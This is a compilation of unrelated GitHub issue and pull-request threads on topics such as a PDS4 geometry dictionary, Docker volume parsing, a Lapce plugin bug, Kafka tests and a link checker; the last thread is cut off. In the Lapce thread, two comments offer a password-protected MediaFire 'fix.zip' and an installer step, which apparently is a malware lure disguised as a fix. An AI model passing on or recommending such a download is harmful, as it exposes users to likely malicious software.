[ldd-geom]  More valid values for geom:Coordinate_Space_Indexed/geom:coordinate_space_frame_type

Issue Type
Enhancement
Describe the issue identified (if applicable)
The geom:Coordinate_Space_Indexed/geom:coordinate_space_frame_type should never have been a validated enum due to the wide variety of frames across different missions.  But, it is, so here we are again with new frames to add.  This time for MSL.
I can't rule out coming across more of these in the future, because it is nearly impossible to find the complete list of all enumerations.  But MSAM should have flushed most of them out already.
Describe the solution you'd like
Please add two new valid values:
SAM1 - Sample Analysis at Mars frame 1 (used by MSL)
SAM2 - Sample Analysis at Mars frame 2 (used by MSL)
Describe alternatives you've considered
There really isn't any, other than ignoring the validation errors or leaving off the keyword entirely.
LDD Dictionary Version
current
PDS4 IM Version
1J (1.19)
Need-by Date
ASAP.  The project has already generated labels (a handful will need to be regenerated with a new LDD version for this fix) and they are planning to deliver within the month.
Additional context
Please let me know what the version will be as soon as it is known, even if it's not yet released.  Thanks.

Hmm - coordinate_space_frame_type is almost up to 100 enumerations! Seems like it is time to let it be free text. That change is backwards compatible and will remove a ton of lines from Geom LDD. I guess a list of the original enums could be maintained as examples I guess.

I would be okay with de-enumerating them.  This is a perfect test case for the mission-specific validation I'm working on (to be presented at the upcoming PMC).

@rgdeen @thareUSGS I've submitted a pull request with @mnhughes to add those two values to the Geometry Data Dictionary. I believe the new version should be PDS4_GEOM_1M00_1980. Would you both please review the pull request, and let me know if you spot any issues with it?
Also, we're looking into the possibility of making coordinate_space_frame_type be free text in the future. Do you think we should look into changing the rule that "*_type" attributes must be enumerated?

It seems like perhaps it was a mistake for this attribute to be named as a type, since it seems that its values are not really types of frames but names of specific frames.  Is that correct?
To put it another way: Is this an attribute that people will want to search on, particularly across different data sets?  If so, then maintaining it as a type and keeping a lid on the number of values would seem to be the way to go.
If this information is not desired for search, then perhaps we should establish a new attribute called coordinate_space_frame_name and use that going forward?
We could deprecate coordinate_space_frame_type for future versions of the LDD, but we could also use the Registry to link the old attribute in old labels to the new ones.

@alknight-wustl thanks I'll take a look.  In terms of the broader questions... this is an excellent case for the mission-specific validation of multimission keywords idea that I'll be presenting at the PMC in a couple weeks.  De-enumerating it in the meantime would be fine with me (doing so will allow the mission-specific validation).  Or, leave it alone until y'all see that and see if it gets adopted.  In terms of _type needing enumeration, is that actually a hard rule or is it a recommendation/best-practice?  Where is that documented?  In any case, we can't change the keyword name at this point.

@alknight-wustl from the PR it looks like the auto-dev-build was triggered, but it's version 1.9.7?  Instead of .8?  Am I looking in the wrong place?  The changes look fine from an inspection point of view; want to try actually validating once we get xsd/sch.  Thanks.

@rgdeen If I'm not mistaken, I believe the auto-generated LDDs for the pull request should be version <IP_ADDRESS>. Thank you very much for reviewing the changes; I'll go ahead and merge the pull request since the update looks okay to you!
Also, I think @mnhughes and I will hold off on de-enumerating *_type for the time being as you suggested.

Yes I see them on the build/development dir in GitHub, but my understanding is that there's an extra step to "publish" them, so they're available as https://pds.nasa.gov/pds4/geom/v1/PDS4_GEOM_1J00_1980.sch where validate can find them.

@rgdeen I've just contacted EN to get them published to the PDS website, so Validate can access them. I'll let you know as soon as they're available!

@rgdeen It sounds like EN is about to start working on the upcoming scheduled build for LDDs in the next few weeks, and sticking to the PDS4 build schedule is generally preferred over initiating off-nominal releases whenever possible. However, I think there are ways to direct Validate to a local location to access the files without having to modify any labels by using an XML Catalog. Do you think this would be a viable solution that would enable the products to be validated before they're published with the next scheduled build?

Hmmm... I haven't heard of that catalog before... will have to check it out.  Could certainly do it by just downloading the xsd/sch but that means modifying the validate command line in the pipeline.  Anyway, we can deal with that, it's just a PITA.  Any idea when the build is due out?  I'll have to compare that against their data release date, as the LDD has to be published before data release.  Thanks.

@rgdeen I believe the next build is scheduled for December 5th. However, I don't think the 1J (1.19) version will be updated with the build as I understand it. I've submitted a request for that version to be published. Could you please review the issue description and let me know if the details look correct? Thanks!

@rgdeen The PDS4_GEOM_1J00_1980 version is now available here!

Thanks!


[stable/airflow] Add DAG git ref to the scheduler and web pod annotat…

…ions
This will trigger a pod restart whenever the git ref
changes on the git project containing the DAGS.
Signed-off-by: Olivier Monnier<EMAIL_ADDRESS>
Is this a new chart

NOTE: We're experiencing a high volume of PRs to this repo and reviews will be delayed. Please host your own chart repository and submit your repository to the Helm Hub instead of this repo to make them discoverable to the community. Here is how to submit new chart repositories to the Helm Hub.

What this PR does / why we need it:
Which issue this PR fixes
(optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close that issue when PR gets merged)

fixes #

Special notes for your reviewer:
Checklist
[Place an '[x]' (no spaces) in all applicable fields. Please remove unrelated fields.]

[x] DCO signed
[x] Chart Version bumped
[x] Variables are documented in the README.md
[x] Title of the PR starts with chart name (e.g. [stable/mychartname])

/assign @gsemet Please review

/lgtm


TPU Support

I read somewhere that you plan to add TPU support in the future. Shall we have more details on this?
And what the community might do to contribute?
Thank you.

Yes, our goal is to adapt to the majority of hardware. Since there is currently no framework specifically designed for LLM on TPU, our idea is to use JAX for model inference. If you have any ideas or information, feel free to discuss.


Update dependencies

Update yarn to 3.5
Update typescript to 4.x

Typescript 5.x has just been released, but isn't supported by ts-jest yet so that will have to wait.

Closed in favor of #43


Implement 'model scope', 'abstraction level'

A list of possible entries for the “model scope” and “abstraction level” fields:
== Model scope ==

subcellular model

spine model
ion channel model
signalling model
molecular model

single cell model
network model

microcircuit model
brain region model
whole brain model

== Abstraction level ===

protein structure
systems biology (see http://www.ebi.ac.uk/sbo/main/display?open=5&nodeId=5)

continuous
discrete
flux balance

spiking neurons

biophysical
point neuron

rate neurons
population modelling

neural field
neural mass

cognitive modelling (edited)

Implemented in a previous fix (#40).


Support -v syntax on service create

Also fixes issue with all volume mounts going into the container's
config.Volumes, which should only be used for anonymous volumes (all
others need to go into HostConfig.Bind).
Copies platform specific path parsing for Windows and Unix into a new
multiplatform package which the parser can use on any platform rather
than just the platform it was compiled for.
Parses the raw -v string in multiple phases using the multiplatform
parsing for each section.
ping @tiborvass @stevvooe @aaronlehmann
Closes #23947

For those arriving here; we decided to not implement the -v flag for 1.12, while we work on design for it it. The -v option is quite overloaded, and we researched cases that will fail with the current syntax. For that reason, holding off was the better option so that we don't have to make backward incompatible changes in a future release


Support the last_sign_in_at user field

Hello,
This field could be useful to retrieve the "deprecated" users list.
http://docs.gitlab.com/ee/api/users.html#for-admins
Thanks

LGTM! Thanks for the PR @Lujeni


Plugins installation stuck on "Installing"

Lapce Version
Lapce 0.4.2
System information
Windows 10 22H2
Describe the bug
Every time I try to install a plugin the installation button stays on "Installing" and doesn't do anything else. Or at least, it seems not to.
Additional information
Here is a video, if it helps:
https://github.com/user-attachments/assets/831fa056-2536-47bb-b79f-48132d3ee9b7
Also the logs don't say much except:
2024-08-26T07:21:21.697695Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 0
2024-08-26T07:21:21.701655Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 0
2024-08-26T07:21:21.706388Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 0
2024-08-26T07:21:21.737209Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 0
2024-08-26T07:21:21.829144Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 1
2024-08-26T07:21:21.986937Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 2
2024-08-26T07:21:22.228239Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 3
2024-08-26T07:21:22.730736Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 4
2024-08-26T07:21:23.243157Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 5
2024-08-26T07:21:23.743805Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 6
2024-08-26T07:21:23.976967Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 7
2024-08-26T07:21:24.208487Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 8
2024-08-26T07:21:24.246069Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 9
2024-08-26T07:21:24.252385Z  INFO wgpu_core::device::resource: Device::maintain: waiting for submission index 10
...

over and over and over again.
I don't know enough of the program to add any meaningful information, so please let me know what I could add more to help resolve this issue.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Try these plugins:

Try these plugins:

Still no luck with either of them. Same log as well.
I only get a few more warnings saying
2024-08-27T06:44:41.503621Z  WARN lapce_core::language: Failed to read queries at: "C:\\Users\\USER\\AppData\\Roaming\\lapce\\Lapce-Stable\\config\\queries\\comment\\injections.scm", The system cannot find the file specified. (os error 2)

I've added more error logging. You can try it in the next version or build it on the master branch.

@jm-observer thanks a lot!
I've tried the latest Nightly version (0.4.2+Nightly.6f62914) and it seems like Lapce can't connect to f44c0ff23efc529a84c18aa5af37dd81.r2.cloudflarestorage.com:
ERROR lapce_proxy::plugin::catalog: error sending request for url (xxx): error trying to connect: An existing connection was forcibly closed by the remote host. (os error 10054)

Caused by:
    0: error trying to connect: An existing connection was forcibly closed by the remote host. (os error 10054)
    1: An existing connection was forcibly closed by the remote host. (os error 10054)

Opening the URL on a browser shows that the domain is blocked by our company firewall for some reason. I don't think you can do anything about it, sadly.
Except maybe a nicer UI message to say that the download failed?


Add test for input

Objective
Create some e2e tests. Place a starting point for discussion
Solution
The purpose is to test (just for now) the events and how bevy handles them.
The solution is not OK:

a lot of copy and paste
the macro could be generalized and put in a dedicated file (which one? I'm open)

As a general comment I find the intent of the tests somewhat hard to parse by reading the code. A few comments might clarify what exactly a test is testing

For me the tests are pretty clear but I wrote them, so probably for me it is easier to read! 😄
The aims for those tests are:

explain how to test a system function that use an EventReader
check if the event system works properly with the App lifecycle

if an event is sent, the system receives it
if multiple events are sent, the system receives all of them
the event, if consumed by the system, is not available anymore

At least the above lines are my intentions.
If you are ok with the tests, I really would like to be clearer with comments or other stuff
Let me know.

Closing as part of backlog cleanup: long period of inactivity, likely significant bit rot by now.


Modify alpha beta boolean methods

With the new phase attribute on the base content item we can modify the
alpha? and beta? methods to check the contents of this and use that
to change the frontend.

For what else would you phase for?


fix(be): Expose all v2 APIs in docs

Description

When v2 APIs were newly introduced, we did not want to document them right away before they were ready to become GA. So we created a list of v2 APIs that are ready to go in api docs so that only those APIs are exposed. Now that v2 APIs have existed since a couple of releases, we should change the implementation to allow all v2 APIs to be exposed in docs.
User-facing documentation
(must be 2 items and both must be checked)

[X] Documentation is not needed

Testing

[ ] inspected CI results

Automated testing
(must be at least 1 item and all items must be checked)

[X] contributed no automated tests
Verifying that all v2 APIs are present in API docs is enough

How I validated my change

Manual verification

@charmik-redhat FYI since rc1 is stable there will most likely not be an rc2

@charmik-redhat FYI since rc1 is stable there will most likely not be an rc2

That is fine. This change can go in a patch.

/retest


some potential improvements

Hi, saw your article and saw the code, but was disappointed to see D not performing as well as I expected. However, with some small modifications, I can easily get it down to 0.85s per iteration on my macbook pro using ldc2.
The rearrangement commit just makes it easier to test an optimised build (dub doesn't have a unittest-release setting, see https://github.com/D-Programming-Language/dub/issues/747), as well as being a bit neater.
Changes that are for style:

use slicing instead of modifying .length
for -> foreach

Changes for performance:

use an appender instead of raw appending.
disable GC collections, those millions of small allocations from all the stuff like s ~= "e" are a nightmare for the GC. Note we are still collecting the memory in the end (and including that time in the benchmark).
not benchmarked, but writing to a file by calling append for each element is very slow, so I use std.stdio.File.write with std.algorithm.joiner instead.

I think there is still a lot more performance to be got. A few suggestions:

This is all ASCII, yes? functions like replaceInPlace can't assume this for strings, you may get better performance using std.utf.byCodeUnit or casting to ubyte[] (remember string is immutable(char)[], so the correct cast would be to immutable(ubyte)[])
Using a mutable string buffer instead of immutable would allow you to do a lot more in-place and lot less ~=, which is likely a big performance cost. If you like using appending in the body of the code for clarity, you could make a custom string type that manually maintains the buffer and overloads opOpAssign(string op : "~") and/or try using std.array.appender with its reserve and strinkTo methods to achieve the same thing.

P.S. if you somehow don't use the builtin ~= inside stem, you will likely not be using the GC at all and will be able to dispense with all the disable/enable/collect stuff.

There is an integer overflow bug in the benchmark printout in https://github.com/John-Colvin/PorterStemmer/commit/a5c9ad0a6053e590672333915cd3e07f087bf4ff, the true value is about 0.13s per iteration, have edited the original comment to reflect that.
Added a few more optimisations, now down to 0.06s per iteration.

@John-Colvin I'd like my library to support unicode. a text base I work with a lot is a historical text so has French, Greek, and other characters. Although the stemmer won't do anything for them. I make a habit to try to support them anyway.
There could be an opportunity for an ascii only version though.

I like the other changes you've made, moving the benchmark file, using foreach, compile time tuple arrays. I'd like to merge those in without the ascii assumptions.
However, I will be trying to bench against the C implementation, so an ascii version might be beneficial, I'm not sure what the best way would be, static ifs around every assignment could get nasty.
Can we make some substitution method that checks the type? It looks like we wouldn't be able to force in-lining.

@John-Colvin I just ran your benchmarks on my machine and got 0.04 seconds per cycle with both ldc and gdc, very cool.
I'm going to try doing a version that supports utf8 as well. I'll open a pull when I think I have something


Add GatewayBot

so the test fails because it's a bot only endpoint, there is some other bot only and user only endpoints as well though, so probably gonna need 2 sessions for testing. should i remove the test for now?

@bwmarrin could you create a new bot account so we can add this test?

I can do that :)

I just added a Bot account under the dgtest account.  I added the token to travis with the env DGB_TOKEN

It's still complaining it's a bot only endpoint

I think the code needs to change so that it uses the dgbot session that your other PR added.

Hmn, well that token is definitely a Bot account.  I added the "Bot " prefix to the travis settings and now it's got a new error.  HTTP 401 Unauthorized, {"code": 0, "message": "401: Unauthorized"}

Have you connected to the gateway once with that token?

I've ran the discordgo ping pong example to test it.. You can of course try it locally, it shows the token in the Travis details link for the failed build

Ran fine using that token on my machine


poly: add lowering of poly.add

Adds lowering of poly.add: which is polynomial ring addition (coefficient-wise addition modulo the coefficient modulus of the ring)
Part of https://github.com/google/heir/issues/104
Fixes https://github.com/google/heir/issues/105

OK, am marking this as ready to review! I'll tackle poly.mul after or hand off :)

Will squash when review finished

@j2kun This commit contains the update to the new algorithm: https://github.com/google/heir/pull/134/commits/2fb325791f97325b9cd0a71ce567b87e153e9081

NOTE: This PR now requires the fixes from https://github.com/google/heir/pull/158


Fix typo

Ubuntu 16.04-LTS (not LT)

@JeffGoldner : Thanks for your contribution to the Azure documentation! The author, @vhorne, has been notified to review your proposed change.


Move TensorFlow mirror into separate directory

This PR moves the TensorFlow mirror into its own directory. It also adds a README to the directory to clarify that the mirror is for reference (not build) purposes.

Hi @tanmayv25  @dyastremsky  I hope you are doing great.
I have a question for you, I want to make TFDF (tensorflow decision forests) library work with Triton. I already have my "inference.so" file compiled from TFDF. But I need to load such library and I'm trying to look for the best place to do so.
What I have to do to load the TFDF library in C is just to run the command below, but I would like to know what's the best place to do it:
char *lib_path = "/usr/local/lib/inference.so";
# Command I need to run to get TFDF
TF_LoadLibrary(lib_path, status);

My concrete question is whether I just need to add the call to TRITONTF_LoadAndRegisterLibrary("/usr/local/lib/inference.so") here or whether It's required to also add the file mirror/tensorflow_backend_tf.cc mirror somewhere else before building the backend.

@juanma9613 Please see instructions here. This can all be done via the model config.
In the future, please ask questions by opening an issue in the main server repo: https://github.com/triton-inference-server/server. We do not typically monitor merged pull requests.


Don't convert to low-level task graph in compute_as_if_collection

xref https://github.com/dask/dask/pull/7968#issuecomment-890216511

Alright, the last lingering test failure has been resolved. Planning to merge after CI finishes up


Please fix Indonesian map

I have fixed indonesia map in idnMerc.json.
idnMerc.json
i can't to pull request because i am not collaborator yet. In packages @react-jvectormap/indonesia map showed is provinces not Indonesia country.

you can fork it and then open the pull request

Okay


500 internal error on error pages

While trying to handle an error, docs.rs will run into more errors!
2020/06/05 17:59:14 [ERROR] cratesfyi::web: internal server error: Template not found: resp

Possibly relevant code: https://github.com/rust-lang/docs.rs/blob/bdaf33b822247a428e11da64bc17e5699363b22b/src/web/mod.rs#L17
cc @Kixiron

This is just weird as all get out, I think this may have been broken for an indefinite period of time, we've just never noticed it because it requires a ctry'd or cexpect'd internal server error, which (thankfully) don't happen often

Originally I thought it might be caused by #805 but it's possible this has been happening much longer and just recently got revealed by https://github.com/rust-lang/docs.rs/pull/802.

#805 removed no code, it just added stuff

I agree this this looks like it's just always been broken. I don't think #802 will have affected it since that only touched the error paths, this returns an Ok(BadRequest) (which seems wrong, all uses of ctry!/cexpect! seem like 500s, not 400s).
Hitting any of the code paths that trigger this seems rare, they should all be "never happens" sorts of errors.
I think with the changes in #802 ctry and cexpect can probably be replaced by ?/.ok_or()? now, since that will now log the error and give back an error page.

This will be fixed by https://github.com/rust-lang/docs.rs/issues/740.


php artisan package:discover

When i have run php artisan list & it show bellow error
Type error: Argument 2 passed to Illuminate\Routing\UrlGenerator::__construct() must be an instance of Illuminate\Http\Request, null given,
   called in D:\__htdocs\Products\Test-desk\__CODEFIELD\vendor\laravel\framework\src\Illuminate\Routing\RoutingServiceProvider.php on line 61

Script @php artisan package:discover handling the post-autoload-dump event returned with error code 1

What can i do to solve this....??

You can ask on stack overflow.

Hello, @ravindralande!
Ask on stack overflow or forums:

https://laracasts.com/discuss
https://laravel.io/forum

Create issues here for bug reports only.


Back-port KAFKA-16230 to 3.7 branch

Back-porting changes for KAFKA-16230 to 3.7. Original change here: #15328.
The Python VerifiableConsumer now passes in the --group-protocol and --group-remote-assignor command line arguments to VerifiableConsumer if the node is running 3.7.0+ and using the new consumer group.protocol.
Reviewers: Andrew Schofield<EMAIL_ADDRESS>Lucas Brutschy<EMAIL_ADDRESS>Committer Checklist (excluded from commit message)

[ ] Verify design and implementation
[ ] Verify test coverage and CI build status
[ ] Verify documentation (including upgrade notes)

@chia7712 @lucasbru @cadonna—would one of you be willing to review this cherry-pick? Thanks!

Note: there are lots of test failures for PlaintextConsumerTest’s testPerPartitionLagMetricsCleanUpWithSubscribe and testPerPartitionLeadMetricsCleanUpWithSubscribe. This PR shouldn't affect those tests, but I'll investigate more.

@lianetm—can you take a look at this fix for system tests? Thanks!

Hey @kirktrue , took a first look and overall it looks good. Is there a run of the system tests with this change? (agree that failures in PlainTextConsumer are unrelated to this PR). Thanks!

Is there a run of the system tests with this change?

Yes, there's we ran this internally a few times and the tests were able to run successfully.

Thanks @lianetm!


Message is next to control panel

The message appears next to the control panel, but should be underneath it.

I'm working on this and have created a branch.

Merged.


Add Electrodynamix [Piano Cover] by PNG

Song Name
Electrodynamix [Piano Cover]
Artist Name
PNG - Music & Covers
Source
Youtube
Youtube Link
TlEno2xwxWE
Direct File Link
No response
Song ID
14
Start Offset [ms]
3750
Extra
Created from Auto Nong.
Created for level: 839175
Downloaded: Yes

accept


feat: type completion for rust

:tada: This PR is included in version 2.2.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Support casbin as the authorization backend

Casbin is an authorization library that supports models like ACL, RBAC, ABAC.
Related to RBAC, casbin has several advantages:

roles can be cascaded, aka roles can have roles.
support resource roles, so users have their roles and resource have their roles too. role = group here.
the permission assignments (or policy in casbin's language) can be persisted in files or database (MySQL and Cassandra).

And you can even customize your own access control model, for example, mix RBAC and ABAC together by using roles and attributes at the same time. It's very flexible.
I think it's more powerful than the current RBAC way, what do you think? Thanks.

@cjellick

We've made the architectural decision in 2.0 to rely on native K8S RBAC as the authorization mechanism. This is what our users/customers have asked for. I don't think we want to pull in an external authorization framework.
Note: the bit of code you linked to is still powered by k8s RBAC doesn't represent our entire RBAC solution. Its basically used to bridge a gap between how we wanted our API to function and how k8s RBAC works. We want users to be able to list resources and see just the resources they have access to. K8S RBAC list is all or nothing, so that bit of code basically acts as a list filter, but under the covers, everything is still powered by K8S RBAC.


Improve the way new values match existing ones

Improve the way new values match existing ones from font-metadata.csv:

[x] Normalize our float values to int values from 1 to 10, so they compare to original data.
[ ] With https://github.com/googlefonts/fontbakery/commit/75e7169b911c2b444ec375cf5a5170020cbd1e65 https://github.com/googlefonts/fontbakery/commit/67f2cc0573185ab3486a39c0c41d6d9d261a793f https://github.com/googlefonts/fontbakery/commit/864f111cdb5a2ea0ba1f1ee5a1a4f2d2da18fdd9 then the values are normalized within their own set, but making them match the original data needs more work. However, this may not be needed, as our data could be better than the original.

(originally reported at googlefonts/fontbakery#684)

What did you mean by "more work"?
At this point I'm leaning towards re-generating all the data from scratch.

If you want to regenerate it all, that's fine; we can put it on a private sandbox of the directory and check that the results look right.

yeah... I am only reusing the italic angle values from the existing CSV, and all the rest is computed from scratch in my current implementation.

we're good here now.


Conflict with running event loop in Jupyter

Describe the bug
Error running in Jupyter which already has a running event loop
To Reproduce
Steps to reproduce the behavior:
Run the following code in Jupyter:
from secedgar.core import DailyFilings
from secedgar import client
from datetime import date
from secedgar.cik_lookup import get_cik_map

USER_AGENT = 'ambrus.com/sec-edgar/sec-edgar'

nc = client.NetworkClient(user_agent=USER_AGENT, rate_limit=5)

def get_form_4(filing_entry):
    return filing_entry.form_type.lower() in ("3", "4")

daily_filings = DailyFilings(date=date(2022, 3, 10), client=nc, entry_filter=get_form_4)
ciks_map = get_cik_map()
daily_filings.save('./daily_filings/')

Expected behavior
You get the following error
    576     def _check_running(self):
    577         if self.is_running():
--> 578             raise RuntimeError('This event loop is already running')
    579         if events._get_running_loop() is not None:
    580             raise RuntimeError(

RuntimeError: This event loop is already running

Desktop (please complete the following information):
macOS
Additional context
Can be fixed with the following code in the last lines of _index.py
            loop = asyncio.get_event_loop()
            if not loop.is_running():
                loop.run_until_complete(self.client.wait_for_download_async(inputs))
            else:
                loop.create_task(self.client.wait_for_download_async(inputs))

I encountered a similar "This event loop is already running" error in a Google Colaboratory notebook.
It is not necessarily an issue with the secedgar library; moreso, the issue lies with Jupyter-style notebooks: each notebook cell runs an event loop, and does not handle the nested loop of the async code within.
Using a solution I found on StackOverflow, I was successful with adding the following code in one of my topmost cells:
import nest_asyncio
nest_asyncio.apply()

Kind regards, petiesmo

Petiesmo is correct about this being an IDE issue - I think this issue can be closed.


Clean directory structure

Codecov Report

Merging #196 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master    #196   +/-   ##
======================================
  Coverage    66.4%   66.4%
======================================
  Files          19      19
  Lines        1289    1289
======================================
  Hits          856     856
  Misses        433     433

Impacted Files
Coverage Δ

dpemu/filters/text.py
96.55% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 884e387...759fd20. Read the comment docs.


new contributor

Added me to the contributors list

Thanks for your PR @Pavankalyan0105, welcome to the community!!

Thanks for your PR @Pavankalyan0105, welcome to the community!!


Failed to activate the tree-view-git-modified package

Add a project folder that is not a git project
Enable the "tree-view-git-modified" package
-> Atom-Error notification shown

OR

Have the "tree-view-git-modified" package enabled
Add a project folder that is not a git project
-> Nothing happens, folder not added

Atom Version: 1.8.0
System: Mac OS X 10.11.4
Thrown From: tree-view-git-modified package, v0.6.4
Stack Trace
Failed to activate the tree-view-git-modified package
At Cannot read property 'path' of null

TypeError: Cannot read property 'path' of null
    at /Users/XXXXX/.atom/packages/tree-view-git-modified/lib/tree-view-git-modified-view.coffee:29:18
    at TreeViewGitModifiedView.module.exports.TreeViewGitModifiedView.loadRepos (/Users/XXXXX/.atom/packages/tree-view-git-modified/lib/tree-view-git-modified-view.coffee:28:9)
    at new TreeViewGitModifiedView (/Users/XXXXX/.atom/packages/tree-view-git-modified/lib/tree-view-git-modified-view.coffee:14:6)
    at Object.module.exports.TreeViewGitModified.activate (/Users/XXXXX/.atom/packages/tree-view-git-modified/lib/tree-view-git-modified.coffee:12:36)
    at Package.module.exports.Package.activateNow (/Applications/Atom.app/Contents/Resources/app.asar/src/package.js:183:20)
    at /Applications/Atom.app/Contents/Resources/app.asar/src/package.js:156:32
    at Package.module.exports.Package.measure (/Applications/Atom.app/Contents/Resources/app.asar/src/package.js:92:15)
    at /Applications/Atom.app/Contents/Resources/app.asar/src/package.js:149:26
    at Package.module.exports.Package.activate (/Applications/Atom.app/Contents/Resources/app.asar/src/package.js:146:34)
    at PackageManager.module.exports.PackageManager.activatePackage (/Applications/Atom.app/Contents/Resources/app.asar/src/package-manager.js:538:21)
    at /Applications/Atom.app/Contents/Resources/app.asar/src/package-manager.js:342:19
    at /Applications/Atom.app/Contents/Resources/app.asar/src/config.js:631:20
    at Function.module.exports.Emitter.simpleDispatch (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/event-kit/lib/emitter.js:25:14)
    at Emitter.module.exports.Emitter.emit (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/event-kit/lib/emitter.js:125:28)
    at Config.module.exports.Config.emitChangeEvent (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:816:29)
    at Config.module.exports.Config.setRawValue (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:608:19)
    at Config.module.exports.Config.set (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:227:14)
    at Config.module.exports.Config.removeAtKeyPath (/Applications/Atom.app/Contents/Resources/app.asar/src/config.js:377:12)
    at Package.module.exports.Package.enable (/Applications/Atom.app/Contents/Resources/app.asar/src/package.js:77:26)
    at PackageManager.module.exports.PackageManager.enablePackage (/Applications/Atom.app/Contents/Resources/app.asar/src/package-manager.js:169:14)
    at HTMLButtonElement.<anonymous> (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/settings-view/lib/package-card.js:328:27)
    at HTMLButtonElement.jQuery.event.dispatch (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/jquery/dist/jquery.js:4435:9)
    at HTMLButtonElement.elemData.handle (/Applications/Atom.app/Contents/Resources/app.asar/node_modules/jquery/dist/jquery.js:4121:28)

Commands
  2x -3:25.4.0 core:backspace (atom-text-editor.editor.power-mode.is-focused)
     -3:22.5.0 editor:consolidate-selections (atom-text-editor.editor.power-mode.is-focused)
     -3:22.5.0 core:cancel (atom-text-editor.editor.power-mode.is-focused)
     -3:19.8.0 clipboard-history:copy (atom-text-editor.editor.power-mode.is-focused)
     -3:03.4.0 editor:newline (atom-text-editor.editor.power-mode.is-focused)
     -3:02.9.0 core:paste (atom-text-editor.editor.power-mode.is-focused)
     -3:01.0 editor:move-to-first-character-of-line (atom-text-editor.editor.power-mode.is-focused)
     -2:58.8.0 core:paste (atom-text-editor.editor.power-mode.is-focused)
     -2:58 editor:move-to-beginning-of-word (atom-text-editor.editor.power-mode.is-focused)
 19x -2:57.6.0 core:delete (atom-text-editor.editor.power-mode.is-focused)
 18x -2:53.9.0 core:move-right (atom-text-editor.editor.power-mode.is-focused)
  3x -2:48.7.0 core:backspace (atom-text-editor.editor.power-mode.is-focused)
     -2:41.4.0 editor:move-to-end-of-screen-line (atom-text-editor.editor.power-mode.is-focused)
     -2:38.3.0 core:backspace (atom-text-editor.editor.power-mode.is-focused)
     -2:30.3.0 window:save-all (atom-text-editor.editor.power-mode.is-focused)
     -0:41.2.0 tabs:close-all-tabs (li.texteditor.tab.sortable.active.right-clicked)

Config
{
  "core": {
    "disabledPackages": [
      "editorconfig",
      "atom-numbers",
      "atom-sort-sass",
      "active-files",
      "compare-files",
      "atom-ternjs",
      "tree-view-git-status",
      "open-on-github",
      "git-time-machine",
      "merge-conflicts"
    ]
  }
}

Installed Packages
# User
activate-power-mode, v0.5.2
angularjs, v0.3.4
clip-history, v0.2.1
clipboard-history, v0.6.6
cursor-history, v0.5.9
file-bookmark, v0.3.1
file-icons, v1.7.14
highlight-selected, v0.11.2
language-babel, v2.28.0
language-gherkin, v1.0.4
linter, v1.11.10
linter-eslint, v7.2.2
linter-htmlhint, v1.2.0
linter-sass-lint, v1.5.0
minimap, v4.24.6
minimap-git-diff, v4.3.1
pigments, v0.29.2
pretty-json, v1.4.1
project-view, v0.5.0
svg-preview, v0.7.4
tree-view-git-modified, v0.6.4
tree-view-open-files, v0.3.0

# Dev
No dev packages

Here is the section of code that is causing this. I am not sure how this would ever work...how can you get the repo.path if you already know the repo is null?
I just commented out lines 28-30. Does that create any additional issues? I have not noticed any yet.
USER.atom\packages\tree-view-git-modified\lib\tree-view-git-modified-view.coffee
Starting with line 27
if repo == null
for tree in self.treeViewGitModifiedPaneViewArray
if repo.path == tree.repo.path
tree.show()

Also, Removing all project folders and restarting, then re-adding projects does not fix this. One it happens it appears to keep happening...

Is there a resolution on this?  I've found that the list of changed files isn't showing up for my projects anymore.  I tried removing the project folder and readding it, and uninstalling and reinstalling without any luck.


Use HEAD requests instead of GET

This puts less load on the remote server, and may possibly have a higher
rate limit than GET.
From https://rust-lang.zulipchat.com/#narrow/stream/196385-t-compiler.2Fwg-rustc-dev-guide/topic/failing.20CI.20notifications/near/204958576

The test case also fails on master. Should I update it here?
---- scanners::markdown::tests::detect_common_links_in_markdown stdout ----
thread 'scanners::markdown::tests::detect_common_links_in_markdown' panicked at 'assertion failed: `(left == right)`

Diff < left / right > :
 [
     (
         "https://example.com",
         Span {
             start: ByteIndex(17),
             end: ByteIndex(44),
         },
     ),
     (
         "https://dev.null/",
         Span {
             start: ByteIndex(55),
<            end: ByteIndex(76),
>            end: ByteIndex(56),
         },

I'm tentatively okay with this PR... My concern would be that most websites backed by a custom web server (i.e. Express or Rocket) won't handle HEAD requests by default. When specifying routing you'll focus on handlign GET and POST, and 404 for all the other HTTP method types.
Is there some sort of convention (or behaviour required by the standard) that an unhandled HEAD requests will be treated as a GET with the response body thrown away? If so, that's awesome and this PR will be unquestionably better than the status quo, but if it's not then we could open ourselves up to reporting a bunch of false positives.

@jyn514, it looks like the CI failure is due to an update to the way pulldown-cmark does spans. I ran the tests locally using the Cargo.lock from the last release and everything passed, then running cargo update made the tests fail.
It should be resolved in 52171a69ec5c2f5977585cd64af1b3b477a40f0f, so you just need a git rebase to pick up the fix.

The standard says

The server SHOULD send the same
